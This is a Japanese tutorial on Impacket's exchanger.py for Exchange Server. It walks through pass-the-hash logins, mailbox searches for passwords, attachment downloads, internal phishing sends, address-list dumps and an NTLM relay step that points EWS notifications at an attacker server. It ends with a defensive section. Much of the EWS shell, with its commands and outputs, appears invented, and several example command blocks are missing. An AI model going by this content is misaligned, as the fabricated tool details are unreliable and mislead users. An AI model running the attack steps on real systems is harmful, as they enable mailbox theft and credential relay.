Impacketは、ネットワークプロトコルを扱うためのPythonクラスのコレクションであり、特にWindowsネットワーク環境でのセキュリティテストやシステム管理において強力なツールセットを提供します。今回はその中でも、Microsoft Exchange Serverの機能を悪用…ではなく、調査・テストするために使用される impacket-exchanger
(exchanger.py
) スクリプトに焦点を当て、その機能と使用方法を詳しく解説していきます。
Impacketとexchanger.pyの概要
Impacketは、元々SecureAuthによって開発され、現在はFortraによってメンテナンスされているオープンソースプロジェクトです。ネットワークパケットの低レベルな操作や、SMB、MSRPCといったプロトコルの実装を提供します。これにより、研究者やペネトレーションテスターは独自のツールを開発したり、既存のスクリプトを利用してネットワークの探索、脆弱性診断、権限昇格などを試みたりすることができます。
exchanger.py
は、Impacketスイートに含まれるツールの1つで、特にMicrosoft Exchange Serverとの対話に特化しています。具体的には、Exchange Web Services (EWS) や RPC over HTTP v2 といったプロトコルを使用して、メールボックスへのアクセス、情報の取得、操作を行います。EWSは、メール、カレンダー、連絡先などのメールボックスデータにプログラムからアクセスするためのAPIであり、通常はOutlookクライアントや連携アプリケーションが利用します。
exchanger.py
を使うことで、正規の認証情報(ユーザー名とパスワード、またはNTLMハッシュなど)があれば、コマンドラインから対話的にExchange Serverに接続し、以下のような様々な操作を実行できます。
- メールボックス内のフォルダ一覧表示
- メールの閲覧
- 添付ファイルのダウンロード
- メールの送信
- グローバルアドレス一覧(GAL)の取得
- その他、EWSやNSPI (Name Service Provider Interface) を介した情報収集
このツールは、セキュリティ診断の文脈では、侵害されたアカウント情報を利用して、さらなる情報(機密メール、連絡先、内部ネットワーク構成など)を探索したり、内部からのフィッシングメール送信を試みたりする際に利用されることがあります。例えば、2021年初頭から確認されたAPT攻撃グループによる防衛産業基盤組織への攻撃では、初期アクセス後、侵害した管理者アカウントとImpacket (exchanger.pyを含む可能性あり) を用いてEWS APIにアクセスし、メールボックスの探索や情報収集が行われた事例が報告されています。しかし、システム管理者がExchange Serverの動作確認やトラブルシューティングを行う目的でも利用可能です。
注意: このツールは強力な機能を持ちますが、許可なく他者のシステムやアカウントに対して使用することは、法律で禁止されており、重大な結果を招く可能性があります。必ず自身の管理下にある環境、または明確な許可を得た上で、倫理的な範囲内で使用してください。
前提条件とインストール
impacket-exchanger
を使用するには、以下のものが必要です。
- Python (通常はPython 3系が推奨されます)
- Impacketライブラリ
- ターゲットとなるExchange Serverへのアクセス情報(IPアドレスまたはホスト名)
- ターゲットExchange Server上の有効なアカウント認証情報(ドメイン\ユーザー名とパスワード、またはLM:NTLM形式のハッシュ)
Impacketは、多くのLinuxディストリビューション(特にKali Linuxなど)にはデフォルトで含まれているか、パッケージマネージャから簡単にインストールできます。
Kali LinuxやDebian/Ubuntu系の場合:
pip を使用してインストールすることも可能です。依存関係も自動的に解決されます。
あるいは、GitHubリポジトリから直接クローンしてインストールすることもできます。
インストール後、impacket-exchanger
または exchanger.py
コマンドが利用可能になります。(パスが通っていない場合は、Impacketの `examples` ディレクトリから直接実行する必要があるかもしれません。)
基本的な使い方と認証方法
impacket-exchanger
の基本的なコマンド構文は以下の通りです。
主要なオプションを説明します。
- target: 接続先の情報を指定します。形式は `[[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス>` です。
- 例1 (パスワード認証): `CONTOSO/john.doe:Password123@mail.contoso.com`
- 例2 (ハッシュ認証): `CONTOSO/jane.doe@mail.contoso.com` (パスワードの代わりに `-hashes` オプションを使用)
- 例3 (ユーザー名のみ、パスワードは実行時に入力): `CONTOSO/admin@192.168.1.100`
- {nspi, ews}: 使用するプロトコル/インターフェースを指定します。
nspi
: Name Service Provider Interface。主にアドレス帳関連の操作に使用します。ews
: Exchange Web Services。メールボックス操作全般に使用します。対話型シェルが起動します。
- -h, –help: ヘルプメッセージを表示します。
- -debug: デバッグ情報を詳細に出力します。トラブルシューティングに役立ちます。
- -rpc-hostname RPC_HOSTNAME: RPC over HTTP接続時に使用するRPCプロキシサーバーのホスト名を指定します。通常は自動検出されますが、明示的に指定する必要がある場合に使用します。
- -hashes LMHASH:NTHASH: パスワードの代わりにLMハッシュとNTLMハッシュを指定して認証します(Pass-the-Hash攻撃)。LMハッシュが不要な場合は空欄にします(例: `:aad3b435b51404eeaad3b435b51404ee`)。
- -aesKey [hex key]: Kerberos認証で使用するAESキー(128ビットまたは256ビット)を16進数で指定します。
- -k: Kerberos認証を使用します。ccacheファイルから有効なTGTを取得しようとします。`-aesKey` と併用するか、事前に
impacket-getTGT
などでccacheファイルを作成しておく必要があります。 - -dc-ip [ip address]: ドメインコントローラーのIPアドレスを指定します。Kerberos認証時にKDCとして使用されます。省略された場合はターゲットのドメイン部分から解決を試みます。
認証方式の選択:
- パスワード認証: 最も基本的な方法です。`ドメイン/ユーザー名:パスワード@ターゲット` の形式で指定します。
- NTLMハッシュ認証 (Pass-the-Hash): パスワードが不明でもNTLMハッシュが判明している場合に使用します。`-hashes :NTHASH` オプションを使います。ダンプされた認証情報などから得られたハッシュを利用する際に有効です。
- Kerberos認証: よりセキュアな環境や、NTLM認証が無効化されている場合に使用します。`-k` オプションを指定し、必要に応じて `-dc-ip` や `-aesKey` を併用します。有効なKerberosチケット(TGT)がccacheファイルに存在する必要があります。
Exchange Online (Microsoft 365) では、先進認証 (OAuth 2.0) が推奨されており、基本認証やNTLM認証は非推奨または無効化されている場合があります。オンプレミスのExchange ServerではNTLM認証がまだ一般的に利用可能です。impacket-exchanger
は現時点では主にNTLMや基本認証、Kerberos(オンプレミスAD環境)に焦点を当てています。
主要なコマンドと使用例 (EWSモード)
`ews` モードで接続すると、対話型のシェルが起動し、様々なコマンドを実行してメールボックスを操作できます。以下に主要なコマンドとその使用例を示します。
接続例 (パスワード認証):
接続例 (Pass-the-Hash):
接続に成功すると、以下のようなプロンプトが表示されます。
EWS#
利用可能なコマンド:
help
または ?
: 利用可能なコマンドの一覧を表示します。
EWS# help
Documented commands (type help <topic>):
========================================
cd download ls resolve upload
cat exit mail search
clear find mkdir send
delegate folders mv subscribe
delete help pwd unsubscribe
Undocumented commands:
======================
? rm rmdir
ls [フォルダパス]
: 現在のフォルダ、または指定したフォルダ内のアイテム(メールやサブフォルダ)を一覧表示します。ルートフォルダは `msgfolderroot` です。
EWS# ls
Listing items in msgfolderroot
Folders:
Inbox
Drafts
Sent Items
Deleted Items
...
EWS# ls Inbox
Listing items in Inbox
Items:
ID: AAMkAD... ItemClass: IPM.Note Subject: Important Meeting Update From: sender@example.com Received: 2025-03-30T10:00:00Z HasAttachment: True Size: 15360
ID: AAMkAE... ItemClass: IPM.Note Subject: Project Alpha Status From: colleague@example.com Received: 2025-03-29T15:30:00Z HasAttachment: False Size: 5120
...
表示される情報には、アイテムID (メールの一意な識別子)、件名、送信者、受信日時、添付ファイルの有無、サイズなどが含まれます。
cd <フォルダ名>
: 指定したフォルダに移動します。`cd ..` で親フォルダに戻れます。
EWS# cd Inbox
Current folder: Inbox
EWS# cd "Sent Items"
Current folder: Sent Items
EWS# cd ..
Current folder: msgfolderroot
pwd
: 現在のフォルダパスを表示します。
EWS# pwd
Current folder: Inbox
cat <アイテムID>
: 指定したアイテムIDのメール本文や詳細情報を表示します。
EWS# cat AAMkAD...
From: sender@example.com
To: john.doe@contoso.com
Subject: Important Meeting Update
Received: 2025-03-30T10:00:00Z
Has Attachments: True
-------------------- BODY --------------------
Hi John,
Please find the updated agenda attached.
Best regards,
Sender
----------------------------------------------
download <アイテムID> [出力ファイル名]
: 指定したアイテムIDのメールに添付されているファイルをダウンロードします。出力ファイル名を省略すると、元のファイル名でカレントディレクトリに保存されます。
EWS# download AAMkAD...
Downloading attachment 'agenda_update.docx' (1/1)
Saved attachment as agenda_update.docx
EWS# download AAMkAD... report.docx
Downloading attachment 'agenda_update.docx' (1/1)
Saved attachment as report.docx
複数の添付ファイルがある場合は、対話的にダウンロードするファイルを選択できます。
send <宛先> <件名> <本文> [添付ファイルパス]
: 指定した内容でメールを送信します。宛先はカンマ区切りで複数指定可能です。本文にスペースを含む場合は引用符で囲みます。
EWS# send internal.user@contoso.com "Test Email" "This is a test from exchanger."
Sending mail... Done!
EWS# send "user1@example.com,user2@example.com" "File for review" "Please review the attached document." /path/to/document.pdf
Sending mail... Done!
この機能は、侵害したアカウントから内部の他のユーザーへフィッシングメールを送信するなど、悪用される可能性があります。
search <クエリ> [検索範囲フォルダ]
: メールボックス内を検索します。クエリは `subject:keyword` や `body:keyword`、`from:sender` などの形式で指定できます。検索範囲を省略すると、メールボックス全体が対象になります。
EWS# search subject:password
Searching for 'subject:password' in AllItems
Found 2 items.
ID: AAMkAF... ItemClass: IPM.Note Subject: Password Reset Request From: security@contoso.com Received: 2025-01-15T09:00:00Z
ID: AAMkAG... ItemClass: IPM.Note Subject: Project Phoenix Password From: project.lead@contoso.com Received: 2024-11-10T14:20:00Z
EWS# search body:"confidential project" Inbox
Searching for 'body:"confidential project"' in Inbox
Found 1 item.
ID: AAMkAH... ItemClass: IPM.Note Subject: Update on Confidential Project From: manager@contoso.com Received: 2025-03-28T11:00:00Z
機密情報を含むメールを効率的に見つけ出すために悪用される可能性があります。
folders
: メールボックス内の全フォルダ構造をツリー形式で表示します。
EWS# folders
msgfolderroot
├── Inbox
│ └── Subfolder1
├── Drafts
├── Sent Items
├── Deleted Items
└── Archive
└── 2024
resolve <名前またはメールアドレス>
: 指定した名前やアドレスを解決し、詳細情報(表示名、メールアドレス、タイプなど)を取得します。GALの情報を検索するのに便利です。
EWS# resolve jane.doe
Resolving name 'jane.doe'
Display Name: Doe, Jane
Email Address: jane.doe@contoso.com
Routing Type: SMTP
Mailbox Type: Mailbox
EWS# resolve Sales Team
Resolving name 'Sales Team'
Display Name: Sales Team Distribution List
Email Address: sales.team@contoso.com
Routing Type: SMTP
Mailbox Type: PublicDL
delegate
: メールボックスの委任設定に関連する操作を行います(サブコマンド: `list`, `add`, `remove`)。
EWS# delegate list
Listing delegates for john.doe@contoso.com
Delegate: assistant@contoso.com Permissions: Calendar(Editor), Tasks(Editor)
EWS# delegate add helper@contoso.com inbox=reviewer calendar=editor
Adding delegate helper@contoso.com... Done.
subscribe [URL]
/ unsubscribe
: EWS Push Notificationの購読/解除を行います。特定のURLを指定すると、メールボックスに変化があった際にExchangeサーバーからそのURLへ通知(コールバック)が行われます。これは、NTLMリレー攻撃(CVE-2018-8581など)に悪用される可能性がありました。攻撃者は自身の制御するサーバーのURLを指定し、Exchangeサーバーからの認証(NTLMハッシュを含む)を受け取ることで、その認証情報を他のサービスへのアクセスに中継(リレー)しようとします。
# 攻撃シナリオ例 (現在は対策されていることが多い)
# 攻撃者のサーバー (例: 10.0.0.5) で ntlmrelayx などを起動しておく
# exchanger.py で購読を試みる
EWS# subscribe http://10.0.0.5/trigger_auth
Subscribing to notifications... Subscription ID: Subscr... Watermark: Watermark...
exit
または quit
: 対話型シェルを終了します。
EWS# exit
NSPIモードの利用例
nspi
モードは、主にExchangeのアドレス帳機能と対話するために使用されます。対話型シェルではなく、コマンドを直接指定して実行します。
グローバルアドレス一覧 (GAL) のテーブル一覧表示:
これにより、利用可能なアドレス帳コンテナの識別子などが表示されます。
指定したテーブルの内容ダンプ (GALユーザー情報の取得):
list-tables
で得られた識別子 (例: `Default Global Address List` に対応する値) を使って、そのアドレス帳の内容を取得します。
`-display` は表示名を、`-resolve` は解決された情報を出力に含めるオプションです。これにより、組織内のユーザー名、メールアドレス、役職などのリストを取得できる可能性があります。
この情報は、さらなる攻撃(パスワードスプレー、フィッシングなど)のターゲットリスト作成に悪用される可能性があります。
ユースケースとシナリオ
impacket-exchanger
は、その機能から以下のようなシナリオで利用されることが考えられます。
-
ペネトレーションテスト:
- 初期アクセスで得られたユーザーアカウントの認証情報(パスワードやハッシュ)を使い、メールボックスにアクセスして機密情報を探索する。
- GAL情報を取得し、組織構造や他のユーザーアカウントに関する情報を収集する。
- 侵害したアカウントから他の従業員へ、信頼できる送信元を装った内部フィッシングメールを送信し、さらなる認証情報やマルウェア感染を狙う。
- メールの転送ルールを設定し、外部へメールを不正に転送させる(
exchanger.py
自体には直接的なルール設定コマンドはないが、EWSの他の機能と組み合わせる攻撃者はいるかもしれない)。
-
悪意のある攻撃:
- APTグループなどが、侵害したネットワーク内で長期的に潜伏し、機密情報(契約情報、知的財産、個人情報など)をメールボックスから継続的に窃取する。CISAのレポート(2022年)では、APTアクターが侵害した管理者アカウントでEWS APIにアクセスし、メールボックス検索を行った事例が報告されています。
- ランサムウェア攻撃の前段階として、内部情報を収集したり、他のシステムへの侵入経路を探ったりする。
- 退職者や内部不正者が、アクセス権限を保持している間に情報を持ち出す。
-
正当な利用:
- システム管理者が、特定のメールボックスのアクセス権や動作をテストする。
- 開発者が、EWSを利用するアプリケーションのデバッグや動作確認を行う。
- スクリプトや自動化ツールからExchange Serverを操作するための基礎的な検証を行う。
検知と対策
impacket-exchanger
のようなツールによる不正アクセスや悪用を検知・防止するためには、多層的なアプローチが必要です。
- 強力な認証:
- 多要素認証 (MFA) をすべてのユーザーアカウント、特に管理者権限を持つアカウントに対して強制する。これにより、パスワードやハッシュが漏洩しても、追加の認証要素がなければアクセスを防げます。
- 推測されにくい複雑なパスワードポリシーを適用し、定期的な変更を義務付ける。
- 可能であれば、レガシー認証(基本認証、NTLM)を無効化し、先進認証 (OAuth 2.0) の利用を強制する(特にExchange Online)。
- アクセス制御:
- 最小権限の原則に基づき、ユーザーやサービスアカウントが必要とするアクセス権のみを付与する。
- EWSへのアクセスを、業務上必要なユーザーやアプリケーションに限定する。
Set-OrganizationConfig -EwsAllowList
やSet-CASMailbox -EwsEnabled $false
などのコマンドレットを使用して制御できます。 - 特定のIPアドレスやネットワークからのアクセスのみを許可するなど、ネットワークレベルでのアクセス制限を検討する。
- 監視とログ分析:
- Exchange Serverの監査ログ(特にメールボックス監査ログ、管理者監査ログ)を有効にし、定期的にレビューする体制を構築する。
- EWSや他のプロトコル経由での異常なログイン試行(失敗したログイン、短時間での大量ログイン、通常とは異なる地域からのアクセスなど)を監視する。
- 予期しないアカウントからの大量のメール送信、GAL情報の頻繁なダンプ試行、不審なメール転送ルールの設定などを検知するルールをSIEMなどに実装する。
impacket-exchanger
のようなツールの特徴的なユーザーエージェント文字列や通信パターンを検知するネットワーク監視ルールを導入する(ただし、これらは変更される可能性があるため完全ではありません)。
- 脆弱性管理:
- Exchange Serverおよび関連するOS、ソフトウェアに、セキュリティパッチを迅速に適用する。過去にはProxyLogon (CVE-2021-26855など) のような脆弱性が悪用され、認証バイパスやリモートコード実行につながりました。
- エンドポイントセキュリティ:
- EDR (Endpoint Detection and Response) ソリューションを導入し、
impacket-exchanger
のようなツールの実行や、関連する不審なプロセス活動を検知・ブロックする。
- EDR (Endpoint Detection and Response) ソリューションを導入し、
これらの対策を組み合わせることで、impacket-exchanger
のようなツールによるリスクを低減し、Exchange環境のセキュリティを強化することができます。
まとめ
impacket-exchanger
は、Impacketスイートの一部として提供される、Microsoft Exchange Serverと対話するための強力なコマンドラインツールです。EWSやNSPIプロトコルを通じて、メールボックスの閲覧、メール送受信、添付ファイル操作、アドレス帳情報の取得など、多岐にわたる機能を提供します。
このツールは、ペネトレーションテストやセキュリティ診断において、侵害された認証情報を用いてExchange環境内の情報を探索したり、さらなる攻撃の足がかりを探ったりする上で非常に有用です。一方で、その強力さゆえに、悪意のある攻撃者によって機密情報の窃取や内部ネットワークへの侵入拡大に悪用されるリスクも高く、実際にAPT攻撃などで使用された事例も報告されています。
組織としては、MFAの強制、アクセス制御の強化、適切なログ監視、迅速なパッチ適用といった対策を講じることで、このようなツールによる脅威に対抗することが重要です。
繰り返しになりますが、impacket-exchanger
の使用は、必ず法と倫理を遵守し、許可された範囲内で行ってください。不正な目的での使用は絶対に避けましょう。